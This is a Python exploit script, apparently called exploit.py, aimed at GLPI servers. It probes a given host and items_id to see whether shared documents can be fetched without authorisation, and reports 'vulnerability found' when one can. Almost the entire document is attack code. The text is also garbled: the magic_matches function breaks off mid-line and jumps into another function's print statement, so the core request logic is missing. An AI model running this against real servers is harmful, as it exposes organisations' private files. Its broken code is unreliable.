#!/usr/bin/env python3 import requests import re import sys import argparse GREEN = "\033[92m" RED = "\033[91m" RESET = "\033[0m" DEBUG = False ALLOWED_EXTS = { ".ai", ".aiff", ".bmp", ".bz2", ".h", ".c", ".csv", ".deb", ".djvu", ".dvi", ".xls", ".xlsx", ".swf", ".gif", ".xcf", ".gz", ".html", ".jpg", ".jpeg", ".tex", ".mid", ".mng", ".mp3", ".mpg", ".odb", ".ods", ".ots", ".odc", ".odg", ".otg", ".oth", ".odi", ".odp", ".otp", ".odf", ".odt", ".odm", ".ott", ".ogg", ".sxw", ".sxc", ".sxi", ".pas", ".pdf", ".psd", ".png", ".eps", ".ps", ".ppt", ".pptx", ".mov", ".qt", ".ra", ".ram", ".rm", ".rpm", ".rtf", ".svg", ".sdd", ".sdw", ".sit", ".txt", ".tgz", ".tif", ".tiff", ".wav", ".asf", ".avi", ".wmv", ".doc", ".docx", ".xml", ".zip" } ALLOWED_MIME_SUBSTRINGS = { "image/", "application/pdf", "application/xml", "text/xml", "text/csv", "application/zip", "application/x-rar-compressed", "application/x-gzip", "application/octet-stream", "audio/", "video/", "application/postscript", "image/svg+xml", "application/x-shockwave-flash", "application/x-tar", "application/x-bzip2", "application/x-7z-compressed", "application/vnd.ms-excel", "application/msword" } def extract_filename_ext(content_disposition): if not content_disposition: return "" m = re.search(r'filename\*?=(?:UTF-8\'\')?["\']?([^"\';]+)', content_disposition, flags=re.IGNORECASE) if not m: return "" fname = m.group(1) fname = fname.split('/')[-1].split('\\')[-1] if '.' in fname: return '.' + fname.lower().split('.')[-1] return "" def magic_matches(body): if not body: return False if body.startswith(b'\x89PNG'): return ".png" if body.startswith(b'\xff\xd8\xff'): return ".jpg" if body.startswith(b'%PDF'): return ".pdf" if body.startswith(b'PK\x03\x04'): return ".zip" if body.startswith(b'Rar!\x1A\x07') or body.startswith(b'Rar!\x1A\x07\x00'): return ".rar" if body.startswith(b'GIF8'): return ".gif" if body.startswith(b'II*\x00') or body.startswith(b'MM\x00*'): return ".tiff" if body.startswith(b'8BPS'): return ".psd" try: start = body.decode(errors="ignore").lstrip() if start.startswith(" {resp.status_code} -> {resp.headers.get('Content-Type','')} -> {reason}", file=sys.stderr) if found: for url, status, ctype, info in found: print(f"{GREEN}{url} -> {ctype} {info} - vulnerability found{RESET}") else: print(f"{RED}No vulnerability found{RESET}") def main(): global DEBUG epilog_text = ( "Examples:\n" " python exploit.py -H 10.0.0.1 -i 123\n" " python exploit.py --host example.com:80 --items_id 456\n" "If you don't supply arguments, the script will ask for them interactively." ) parser = argparse.ArgumentParser( description="GLPI - checks for accessible documents", epilog=epilog_text, formatter_class=argparse.RawTextHelpFormatter ) parser.add_argument("-H", "--host", help="Address (e.g. ip or fqdn[:port]) — GLPI Adress") parser.add_argument("-i", "--items_id", help="items_id value — File id of a shared screenshot from a published FAQ, etc.") parser.add_argument("-d", "--debug", action="store_true", help="Enable debug output") args = parser.parse_args() DEBUG = bool(args.debug) host = args.host items_id = args.items_id if not host: try: host = input("Address (e.g. ip or fqdn[:port]): ").strip() except KeyboardInterrupt: print("\nInterrupted.") sys.exit(1) if not items_id: try: items_id = input("items_id value: ").strip() except KeyboardInterrupt: print("\nInterrupted.") sys.exit(1) if not host or not items_id: print("Both host and items_id are required. Use -h for help.") sys.exit(1) docs_control(host, items_id) if __name__ == "__main__": main()